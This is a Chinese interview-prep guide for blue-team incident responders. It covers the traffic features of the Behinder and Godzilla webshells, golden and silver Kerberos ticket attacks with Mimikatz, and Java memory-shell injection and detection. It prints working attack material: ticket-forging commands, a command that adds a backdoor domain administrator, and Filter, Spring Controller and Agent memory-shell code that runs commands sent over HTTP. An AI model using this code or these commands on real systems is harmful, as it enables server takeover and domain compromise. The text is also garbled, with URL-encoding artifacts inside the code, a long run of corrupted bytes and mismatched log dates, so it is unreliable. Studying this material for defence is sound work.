老版本冰蝎的密钥协商是明文的,第一次请求会从服务端获取一个16位的密钥。新版本更加隐蔽,但连接时会携带固定的Content-type:%20application/octet-stream。另外,Accept头、User-Agent、Cache-Control等请求头通常也是默认值,可以用于指纹识别。
冰蝎4.0版本支持多种加密方式,包括xor_base64和AES。如果服务端有openssl扩展就用AES,没有就用xor_base64。
举个例子,假设攻击者通过冰蝎连接WebShell,URL是 http://example.com/bx.php:
第一阶段:密钥协商(冰蝎3.0及更早版本)
GET /bx.php?pass=123 HTTP/1.1Host:%20example.comUser-Agent:%20Mozilla/5.0 (Windows%20NT 10.0;%20Win64;%20x64;%20rv:85.0)%20Gecko/20100101 Firefox/85.0Accept:%20text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language:%20zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type:%20application/octet-streamCache-Control:%20no-cache
服务端返回16位密钥:
HTTP/1.1 200 OKContent-Type:%20application/octet-streamContent-Length: 16
1234567890abcdef
第二阶段:加密通信
POST /bx.php?pass=123 HTTP/1.1Host: example.comUser-Agent: Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64;%20rv:85.0)%20Gecko/20100101%20Firefox/85.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/octet-streamCache-Control: no-cacheContent-Length: 248
�M-�M-�M-�M-��M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-�M-
关键特征:
-
Content-Type:%20application/octet-stream(固定的二进制流标识) -
Cache-Control:%20no-cache(每次请求都禁用缓存) -
User-Agent为常见浏览器(Firefox、Chrome等)
-
请求体为加密二进制数据,无法直接看出SQL或系统命令
-
响应体同样为加密数据
-
哥斯拉
哥斯拉是最难检测的WebShell工具,它的特点就是全流量加密。请求体和响应体都是加密的,看不出明显的攻击特征。它会伪造User-Agent和Accept头,消除请求包中的特征。哥斯拉还自带了很多插件,可以实现无文件WebShell等高级功能。
检测哥斯拉主要靠行为分析,比如查看Web日志中是否有大量相同的访问路径、页面不存在但返回200、或者上传了可疑文件后立即访问等。
举个例子,假设攻击者通过哥斯拉连接WebShell,URL是 http://example.com/godzilla.jsp:
HTTP请求包:
POST /godzilla.jsp%20HTTP/1.1Host:%20example.comUser-Agent:%20Mozilla/5.0 (Windows%20NT 10.0;%20Win64;%20x64)%20AppleWebKit/537.36 (KHTML,%20like%20Gecko)%20Chrome/96.0.4664.110 Safari/537.36Accept:%20text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language:%20zh-CN,zh;q=0.9Content-Type:%20application/x-www-form-urlencodedContent-Length: 512
pass=U2FsdGVkX1+3xLk9mNpR7tY8wJqE5kH2vBcD6fG9hJkLzXcVbN
HTTP响应包:
HTTP/1.1 200 OKContent-Type:%20text/htmlContent-Length: 384
U2FsdGVkX1+aBcDeFgHiJkLmNoPqRsTuVwXyZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
关键特征:
-
请求体和响应体均为强加密数据,无固定特征
-
User-Agent动态变化,会伪造常见浏览器
-
请求参数名可自定义(通常为
pass、key等) -
无法从单包特征识别,需要结合行为分析:
-
访问不存在的页面返回200状态码
-
短时间内大量相同路径的请求
-
上传可疑文件后立即访问
-
Cookie或Session异常
参考回答:
菜刀的流量特征最明显,主要是Base64编码和固定的User-Agent,请求体中包含QGluaV9zZXQo这个固定特征。蚁剑继承了菜刀的特征,参数常以0x开头,User-Agent通常是antSword。冰蝎是动态加密通信,有密钥协商过程,Content-Type通常是application/octet-stream,请求头还有Cache-Control:%20no-cache。哥斯拉是全流量加密,特征很少,很难通过单一流量规则检测。在护网中,我遇到告警会先看请求包和响应包的内容,结合特征来判断是什么工具。对于哥斯拉这种加密流量,我会结合行为分析,比如查看Web日志中是否有大量相同的访问路径、页面不存在但返回200、或者上传了可疑文件后立即访问等异常行为。
6.%20黄金票据与白银票据
内网渗透的票据攻击是面试的高频考点,尤其对于研判岗和应急岗。
Kerberos认证简介
在理解票据攻击之前,需要简单了解Kerberos认证机制。Kerberos是Windows域环境默认的认证协议,使用票据(Ticket)进行身份验证。它有三个核心角色:客户端、服务端、KDC密钥分发中心。
TGT是票据授予票据,用于证明用户已经通过身份认证。ST是服务票据,用于访问特定服务。
- 黄金票据
黄金票据伪造的是TGT,也就是票据授予票据。攻击者利用的是krbtgt账户的Hash,krbtgt是域控上专门用来加密TGT的账户。如果拿到了krbtgt的Hash,就可以伪造任意用户的TGT,从而访问域内任何服务。
黄金票据的利用条件:域名称、域的SID值、krbtgt账户的NTLM%20Hash、要伪造的用户名(可以是任意用户,甚至是不存在的用户)。
举个例子,假设攻击者已经获取了域控的krbtgt账户NTLM%20Hash,域名为contoso.com,域SID为S-1-5-21-123456789-123456789-123456789,krbtgt的NTLM%20Hash为a1b2c3d4e5f6...。
1.%20使用Mimikatz生成黄金票据
mimikatz.exekerberos::golden%20/domain:contoso.com%20/sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:a1b2c3d4e5f6...%20/user:任意用户名%20/ptt
/ptt表示将生成的票据直接注入到当前内存中
2.%20查看当前内存中的票据
klist
输出显示:
当前登录的会话:%200%201票据缓存:%201服务名称:%20krbtgt/contoso.com客户端:%20任意用户名%20@%20contoso.com
3.%20访问域控
dir \\dc.contoso.com\c$
此时攻击者可以成功访问域控的C$共享,无需输入密码,因为内存中的黄金票据已经让他拥有了域管理员权限。
4.%20创建新的域管理员
net%20user%20backdoor%20Password123!%20/add%20/domainnet%20group "Domain%20Admins" backdoor%20/add%20/domain
关键特征:
-
权限极大,可以访问域内任何服务
-
可以伪造任意用户(包括不存在的用户)
-
需要与域控交互获取服务票据
-
会在域控上留下
4624(登录成功)和4672(特殊权限登录)等日志 -
krbtgt密码变更后黄金票据立即失效
-
白银票据
白银票据伪造的是服务票据,利用的是特定服务账户的Hash。比如域内有MSSQL服务,服务账户是sqlservice,如果拿到了这个账户的Hash,就可以伪造访问MSSQL服务的票据。
白银票据的利用条件:域名、域SID、目标服务账户的NTLM%20Hash、目标服务名称。
举个例子,假设攻击者已经获取了域内MSSQL服务账户sqlservice的NTLM%20Hash,域名为contoso.com,域SID为S-1-5-21-123456789-123456789-123456789,服务账户Hash为b2c3d4e5f6a1...。
1.%20使用Mimikatz生成白银票据
mimikatz.exekerberos::golden%20/domain:contoso.com%20/sid:S-1-5-21-123456789-123456789-123456789%20/target:sqlserver.contoso.com%20/service:cifs%20/rc4:b2c3d4e5f6a1...%20/user:任意用户名%20/ptt
/target指定目标服务器/service指定要访问的服务类型(cifs是文件共享、http是Web、mssql是数据库等)/rc4是服务账户的NTLM%20Hash
2.%20查看当前内存中的票据
klist
输出显示:
当前登录的会话:%200%201票据缓存:%201服务名称:%20cifs/sqlserver.contoso.com客户端:%20任意用户名%20@%20contoso.com
3.%20访问MSSQL服务器的文件共享
dir \\sqlserver.contoso.com\c$
此时攻击者可以成功访问MSSQL服务器的C$共享,但无法访问域控或其他服务器。
4.%20连接MSSQL数据库
sqlcmd -S%20sqlserver.contoso.com%20-E
使用当前票据认证,无需输入密码即可登录数据库。
关键特征:
- 权限局限于特定服务(如只能访问MSSQL,不能访问域控)
- 不需要与域控交互,直接在目标服务器上验证
- 不会在域控上留下任何日志
- 只能在目标服务器的安全日志中看到访问记录
- 即使krbtgt密码变更,白银票据依然有效(直到服务账户密码变更)
区别对比
|%20对比项%20|%20黄金票据%20|%20白银票据%20| |%20—%20|%20—%20|%20—%20| |%20伪造对象%20|%20TGT(票据授予票据)%20|%20ST(服务票据)%20| |%20利用的Hash%20|%20krbtgt账户Hash%20|%20特定服务账户Hash%20| |%20权限范围%20|%20域内任何服务%20|%20仅限特定服务%20| |%20与域控交互%20|%20需要%20|%20不需要%20| |%20日志留存%20|%20域控上留下明显日志%20|%20目标服务器上留日志,域控无日志%20| |%20隐蔽性%20|%20较低%20|%20较高%20| |%20防御方式%20|%20定期更换krbtgt密码%20|%20定期更换服务账户密码%20|
参考回答:
黄金票据伪造的是TGT,利用krbtgt账户的Hash,可以访问域内任何服务,权限很大但会与域控交互,在域控上留下登录日志。白银票据伪造的是服务票据,利用特定服务账户的Hash,只能访问特定服务,权限小但更隐蔽,不与域控交互,不会在域控上留日志。防御的话,定期更换krbtgt密码能有效防御黄金票据,定期更换服务账户密码可以防御白银票据。在应急响应中,如果发现域控上有异常的4624登录事件,且来源IP可疑,就要考虑黄金票据攻击。如果发现某台服务器上有异常的服务访问,但域控上没有对应日志,可能就遇到了白银票据攻击。
7.%20内存马的检测与清除
内存马是高级持久化技术,在Java%20Web应用中非常常见。
- 什么是内存马
传统WebShell会在磁盘上留下文件,容易被杀毒软件查杀。内存马则不落地,直接注入到JVM内存中运行。它利用Java的动态特性,通过动态注册Filter、Servlet、Listener,或者在Spring框架中动态注册Controller、Interceptor,甚至在JVM层面用Java%20Agent技术修改已加载的类。
内存马不在磁盘上留下文件,传统文件扫描检测不到,隐蔽性极强。但如果服务器重启,内存马就消失了,这是它的弱点。
- 内存马的类型
1.%20Servlet类型(Filter内存马)
原理:通过动态注册Filter、Servlet、Listener实现的。这是最常见的内存马,因为Tomcat等Web容器支持动态注册这些组件。攻击者上传一个JSP文件,里面包含动态注册Filter的代码,执行后Filter就注册到内存中,然后可以删除JSP文件。
举个例子,假设攻击者通过文件上传漏洞上传了一个inject.jsp文件到Tomcat服务器:
inject.jsp内容:
<% %20 //%20获取ServletContext %20 ServletContext context = request.getSession().getServletContext();
%20 //%20获取ApplicationContext(Tomcat内部对象) %20 Field field = context.getClass().getDeclaredField("context"); %20 %20field.setAccessible(true); %20 ApplicationContext appContext = (ApplicationContext)%20field.get(context);
%20 //%20获取FilterDef和FilterMap %20 Field filterDefsField = appContext.getClass().getDeclaredField("filterDefs"); %20 %20filterDefsField.setAccessible(true); %20 %20Map<String,%20Object>%20filterDefs%20=%20(Map<String,%20Object>)%20filterDefsField.get(appContext);
%20 Field filterMapsField = appContext.getClass().getDeclaredField("filterMaps"); %20 %20filterMapsField.setAccessible(true); %20 %20List<Object>%20filterMaps%20=%20(List<Object>)%20filterMapsField.get(appContext);
%20 //%20创建恶意Filter %20 Filter maliciousFilter = new Filter()%20{ %20 %20 %20 public void init(FilterConfig%20filterConfig) throws ServletException%20{} %20 %20 %20 public void doFilter(ServletRequest%20request,%20ServletResponse%20response,%20FilterChain%20chain) %20 %20 %20 %20 %20 %20 %20 throws IOException,%20ServletException%20{ %20 %20 %20 %20 %20 HttpServletRequest req = (HttpServletRequest)%20request; %20 %20 %20 %20 %20 HttpServletResponse res = (HttpServletResponse)%20response;
%20 %20 %20 %20 %20 //%20如果请求参数中包含cmd参数,执行系统命令 %20 %20 %20 %20 %20 String cmd = req.getParameter("cmd"); %20 %20 %20 %20 %20 if (cmd%20!= null)%20{ %20 %20 %20 %20 %20 %20 %20 Process process = Runtime.getRuntime().exec(cmd); %20 %20 %20 %20 %20 %20 %20 BufferedReader reader = new BufferedReader( %20 %20 %20 %20 %20 %20 %20 %20 %20 new InputStreamReader(process.getInputStream())); %20 %20 %20 %20 %20 %20 %20 %20String%20line; %20 %20 %20 %20 %20 %20 %20 while ((line%20=%20reader.readLine())%20!= null)%20{ %20 %20 %20 %20 %20 %20 %20 %20 %20 %20res.getWriter().println(line); %20 %20 %20 %20 %20 %20 %20 %20} %20 %20 %20 %20 %20 %20 %20 return; %20 %20 %20 %20 %20 %20} %20 %20 %20 %20 %20 %20chain.doFilter(request,%20response); %20 %20 %20 %20} %20 %20 %20 public void destroy() {} %20 %20};
%20 //%20动态注册Filter %20 String filterName = "MaliciousFilter_" +%20System.currentTimeMillis(); %20 FilterDef filterDef = new FilterDef(); %20 %20filterDef.setFilterName(filterName); %20 %20filterDef.setFilterClass(maliciousFilter.getClass().getName()); %20 %20filterDef.setFilter(maliciousFilter); %20 %20filterDefs.put(filterName,%20filterDef);
%20 //%20添加Filter映射(拦截所有请求) %20 FilterMap filterMap = new FilterMap(); %20 %20filterMap.setFilterName(filterName); %20 %20filterMap.addURLPattern("/*"); %20 %20filterMaps.add(0,%20filterMap);
%20 %20response.getWriter().write("Memory%20shell%20injected%20successfully!");%>
用户访问inject.jsp后,恶意Filter被注入到内存中,然后攻击者删除inject.jsp文件。之后访问任意URL带上cmd参数即可执行命令:
http://example.com/任意路径?cmd=whoami
此时服务器返回命令执行结果,但磁盘上没有留下任何WebShell文件。
2.%20框架类型(Spring%20Controller内存马)
原理:在Spring框架中动态注册Controller、Interceptor。Spring框架也支持动态注册Bean,攻击者可以通过某种方式(比如反序列化漏洞)触发Controller的注册。
举个例子,假设攻击者通过反序列化漏洞在Spring应用上执行了恶意代码:
恶意Controller注册代码:
//%20获取Spring的ApplicationContextApplicationContext context = (ApplicationContext)%20RequestContextHolder.currentRequestAttributes() %20 %20.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
//%20获取RequestMappingHandlerMappingRequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
//%20创建恶意ControllerObject controller = new Object()%20{ %20 @ResponseBody %20 public String cmd(String%20cmd) throws Exception%20{ %20 %20 %20 if (cmd%20!= null)%20{ %20 %20 %20 %20 %20 Process process = Runtime.getRuntime().exec(cmd); %20 %20 %20 %20 %20 BufferedReader reader = new BufferedReader( %20 %20 %20 %20 %20 %20 %20 new InputStreamReader(process.getInputStream())); %20 %20 %20 %20 %20 StringBuilder result = new StringBuilder(); %20 %20 %20 %20 %20 %20String%20line; %20 %20 %20 %20 %20 while ((line%20=%20reader.readLine())%20!= null)%20{ %20 %20 %20 %20 %20 %20 %20 %20result.append(line).append("\n"); %20 %20 %20 %20 %20 %20} %20 %20 %20 %20 %20 return result.toString(); %20 %20 %20 %20} %20 %20 %20 return "no%20cmd"; %20 %20}};
//%20动态注册RequestMappingMethod method = controller.getClass().getMethod("cmd",%20String.class);RequestMappingInfo info = RequestMappingInfo %20 %20.paths("/shell/*") %20 %20.methods(RequestMethod.GET) %20 %20.build();mapping.registerMapping(info,%20controller,%20method);
注册成功后,攻击者访问/shell/任意路径?cmd=whoami即可执行命令
3.%20Agent类型
原理:通过Java%20Instrumentation%20API修改JVM中已加载的类。这是最底层的技术,可以修改任意类的字节码,比如把某个正常类的某个方法改成恶意代码。这种方式最难检测,也最难清除。
举个例子,假设攻击者编写了一个Java%20Agent,通过premain或agentmain方法修改了HttpServletRequest的getParameter方法:
Agent核心代码:
public class MaliciousAgent { %20 public static void agentmain(String%20agentArgs,%20Instrumentation%20inst) { %20 %20 %20 %20inst.addTransformer(new ClassFileTransformer()%20{ %20 %20 %20 %20 %20 %20@Override %20 %20 %20 %20 %20 public byte[] transform(ClassLoader%20loader,%20String%20className, %20 %20 %20 %20 %20 %20 %20 %20 %20 %20Class<?>%20classBeingRedefined,%20ProtectionDomain%20protectionDomain, %20 %20 %20 %20 %20 %20 %20 %20 %20 byte[]%20classfileBuffer)%20throws%20IllegalClassFormatException%20{ %20 %20 %20 %20 %20 %20 %20 if (className%20!= null &&%20className.equals("javax/servlet/http/HttpServletRequest"))%20{ %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20修改字节码,在getParameter方法中检查特殊参数 %20 %20 %20 %20 %20 %20 %20 %20 %20 return modifyClass(classfileBuffer); %20 %20 %20 %20 %20 %20 %20 %20} %20 %20 %20 %20 %20 %20 %20 return null; %20 %20 %20 %20 %20 %20} %20 %20 %20 %20}, true);
%20 %20 %20 //%20触发所有已加载类的重定义 %20 %20 %20 %20Class[]%20loadedClasses%20=%20inst.getAllLoadedClasses(); %20 %20 %20 for (Class%20clazz%20:%20loadedClasses)%20{ %20 %20 %20 %20 %20 if (clazz.getName().equals("javax.servlet.http.HttpServletRequest"))%20{ %20 %20 %20 %20 %20 %20 %20 %20inst.retransformClasses(clazz); %20 %20 %20 %20 %20 %20} %20 %20 %20 %20} %20 %20}}
注入成功后,所有HTTP请求的getParameter方法都被修改,当请求参数包含特定关键字时,会执行系统命令。这种内存马极其隐蔽,因为没有任何新增的类或Filter,而是修改了系统自带的类。
- 内存马的检测
检测思路一:分析Web日志
原理:如果发现有大量访问相同路径但参数不同的请求,或者页面不存在但返回200的请求,可能是内存马在活动。特别是Filter类型的内存马,会拦截所有请求,日志特征比较明显。
举个例子,查看Tomcat的localhost_access_log日志:
tail -f%20/usr/local/tomcat/logs/localhost_access_log.2024-01-15.txt
发现异常日志:
192.168.1.100 - - [15/Jan/2026:14:23:45 +0800] "GET%20/index.jsp?cmd=whoami%20HTTP/1.1" 200 45192.168.1.100 - - [15/Jan/2026:14:23:46 +0800] "GET%20/index.jsp?cmd=ipconfig%20HTTP/1.1" 200 128192.168.1.100 - - [15/Jan/2026:14:23:47 +0800] "GET%20/index.jsp?cmd=net%20user%20HTTP/1.1" 200 256192.168.1.100 - - [15/Jan/2026:14:23:48 +0800] "GET%20/index.jsp?cmd=tasklist%20HTTP/1.1" 200 1024
关键特征:
- 同一个URL(
